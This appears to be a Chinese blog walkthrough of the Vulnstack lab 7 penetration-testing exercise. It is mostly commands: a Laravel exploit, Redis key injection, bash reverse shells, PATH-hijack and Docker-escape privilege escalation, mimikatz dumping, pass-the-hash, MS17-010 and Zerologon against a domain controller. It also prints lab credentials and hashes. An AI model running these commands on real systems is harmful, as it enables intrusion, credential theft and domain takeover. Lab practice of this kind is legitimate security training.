写在前面
红日靶场七涉及知识点:redis未授权访问、docker容器逃逸、MS17010、代理链、laravel漏洞、zerologon等。
靶场下载地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
拓扑
WP
通过58.1.3跳板机对入口点机器进行扫描
CVE-2021-3129 Laravel漏洞利用脚本利用尝试,使用laravel-exp.py工具,注意利用此工具写的webshell需要哥斯拉3.0以下版本。权限较低
python laravel-exp.py http://192.168.55.1.4:81
连上去以后发现很多指令不能执行,发现为docker环境。尝试反弹shell到本机,失败。
先整redis,可以连接
写入公钥(如果无法写入成功,可能是因为redis没有使用root用户启动,需要重新配置靶场)
python RedisGetshell.py -H 10.55.1.4
写入后用私钥连接
上传fsan扫描,52.20也有一个laravel,可能是nginx代理
查看52.10配置文件,应该是nginx代理出来的,我们52.10是在nginx上。
正向代理把52.10的流量代理出来。在52.10机器上上传frps和frpc
frpc.ini
[common]
server_addr = 127.0.0.1
server_port = 7000
# enable logs
log_file = ./frpc.log
trace, debug, info, warn, error
log_level = info
log_max_days = 3
[proxy]
type = tcp
remote_port = 6000
plugin = http_proxy
plugin_http_user = abc
plugin_http_passwd = abc
[socks5_proxy]
type = tcp
remote_port = 6005
plugin = socks5
plugin_user = abc
plugin_passwd = abc
frps.ini
[7000 ]bind_port =
proxifier连接,代理出来后可以访问52.20的8000端口
连接52.20的laraval马子,没法交互,反弹shell到52.10
bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/8088 <&1'
Docker环境尝试容器逃逸,但是前提需要root权限才能访问所有文件。尝试CVE-2021-4034提权,上传文件到52.10,python开启共享。52.20下载。无法利用
尝试sudo提权
尝试suid提权
find / -user root -perm -4000 -print 2>/dev/null
发现shell文件有sudo权限,shell文件其实就是执行了ps指令,尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell。
### 方法一
cd /tmp #因为tmp权限为777
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
### 方法二:将/bin/bash的目录全都复制到/tmp/ps
至此获取了20中一个docker环境的root权限,再尝试把52.20 root的命令行返回到52.10获得交互式命令行
bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/8087 <&1'
直接利用当前指令反弹到52.10,没有接受到
需要关闭掉8088这个反弹shell,8087才会接收到
root权限下尝试docker逃逸
mkdir test
fdisk -l
mount /dev/sda1 test
cd test
写入任务计划,都写进去了,但是没接收到反弹shell
echo 'bash -c "bash -i >& /dev/tcp/192.168.52.10/8086 0>&1"' >test.sh
echo '*/1 * * * * root /test.sh' >> /home/jobs/test/etc/crontab
echo '*/1 * * * * root /test.sh' >> /home/jobs/test/var/spool/cron/root
尝试写入公钥,52.20没有/root/.ssh文件,发现home下存在用户ubuntu
尝试将公钥写入ubuntu用户
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIyWnF46J385jnabqHmgx0/DbRD0Kixpc9tqo9e4bCJEeVzxGNrHnS3vhsQAFYFGZ43UGg2NE6iAgHlohvgBs8UGiuphJKcso6oaX1quifl8b4igO3M6sBSnlgOMZtjD/tdGCZ7TTMnSy1GqLB6BPZ40I5moh23cMtwM3zCXbKH5K7Xd2uHgTqH1VIExchUMAmQgGvqVP7Cdo3AXqHrnQv/gpt8zL+XX0VHCyahtfCCY3mAaETA1lwmiqWlSmv5z9D7c7N2xbvVhnOdnyqUKGSWjpS1w3qEP25pi3T61wjEhqyayv89Cex48bgjjgzej4XRXAAX5IyqE9Hlissvvk4CJgjDWuf/zfA9r+LV9JAISMbnUV706Rucp+GeUBzDbjMUGZ6AFiQyeWMi2YVAym64M7aI2GCYlEQihH/Coh3ilgF1G1jOZLJPGTexLvgWZwQN5GabCFaP3CbX8IlqANuSQNmoLyo/ATwNam3rryMJDgFOYb5JE8= root@iZuf6ff6pfeZ>> authorized_keys
然后就可以用id_rsa连接了。至此完成了52.10可以通过id_rsa登录52.20
继续尝试将ubuntu用户提权,再用一下上面的CVE-2021-4034,52.10上开启python共享
52.20利用curl下载,利用
curl -O http://192.168.52.10:8000/CVE-2021-4034.zip
unzip CVE-2021-4034.zip
cd /CVE-2021-4034
make
./cve-2021-4034
信息收集,发现新ip段
上传工具扫描,出现93.30(DC)和93.40(PC2)终于到第三层了。
同理在52.20上传代理工具,开启主动代理,本机(21.12)使用代理链连接。
测试代理,可以在跳板机访问到52.30
扫描通达OA漏洞,发现有很多漏洞
尝试利用第一个漏洞,漏洞利用成功
使用蚁剑连接,连接key为x
添加用户
net user nino 1qaz@WSX /add
net localgroup administrators nino /add
尝试RDP连接,需要开启多用户登录
上传mimikatz
mimikatz_64.exe ""privilege::debug"" ""sekurlsa::logonPasswords"" exit >> log.txt
mimikatz_64.exe ""privilege::Debug"" ""ts::multirdp""
WHOAMIANONY\Administrator Whoami2021 //域管理员
WHOAMIANONY\bunny Bunny2021
开启多用户后可rdp登录
使用wmiexec成功pth到93.30 DC。52.30上直接有域管的明文,有点戛然而止的感觉,再尝试一下别的攻击方式
wmiexec.exe -hashes :ab89b1295e69d353dd7614c7a3a80cec WHOAMIANONY/Administrator@192.168.93.30
Sam-the-admin域内提权CVE-2021-42278 and CVE-2021-42287,失败,,应该是打包的问题。
sam_the_admin.exe "whoamianony/bunny:Bunny2021" -dc-ip 192.168.93.30 -shell
noPac.exe scan -domain whoamianony.org -user bunny -pass 'Bunny2021'
MS17010
use auxiliary/admin/smb/ms17_010_command
set COMMAND net user
set RHOST 192.168.93.30
exploit
利用成功,后续利用新建管理员账户
93.40不能利用
zerologon,存在漏洞。因为环境问题,把python文件都打包成exe了。
python3 zerologon_tester.py <dc-hostname> <dc-ip>
zerologon_tester.exe DC 192.168.93.30
###制空
set_empty_pw.exe DC 192.168.93.30
###dump hashes
secretsdump.exe whoamianony.org/DC$@192.168.93.30 -no-pass
到这里漏洞利用步骤已经完成,但DC$无hash会导致机器脱域,接下来需要PTH连接上DC,dump本地hash来获取DC$hash。进而还原哈希
-hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec administrator@192.168.93.30
### 连接默认在C盘下,直接reg导出会进入交互界面卡死。解决方法①进入一个可写的目录,比如desktop ②在reg导出语句结尾加/y 如reg save HKLM\SYSTEM system.save /y 表示强制覆盖已存在文件,避免目标机C:\目录下存在同名文件,命令会询问是否覆盖,半交互环境程序会卡住
reg save HKLM\SYSTEM system.save /y
reg save HKLM\SAM sam.save /y
reg save HKLM\SECURITY security.save /y
### 下载文件到本地,如果直接使用get无法识别改指令,使用lget
lget system.save
lget sam.save
lget security.save
### 清理痕迹
del /f *.save
## 获取DC$哈希
secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL
#重置
reinstall_original_pw.exe DC 192.168.93.30 81609d698de5bc4bdec8729afaf0a807
#验证
secretsdump.exe whoamianony.org/DC$@192.168.93.30 -just-dc -no-pass
secretsdump.exe -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec administrator@192.168.93.30
写在最后
本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好地维护个人信息安全、企业安全、国家安全。
未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。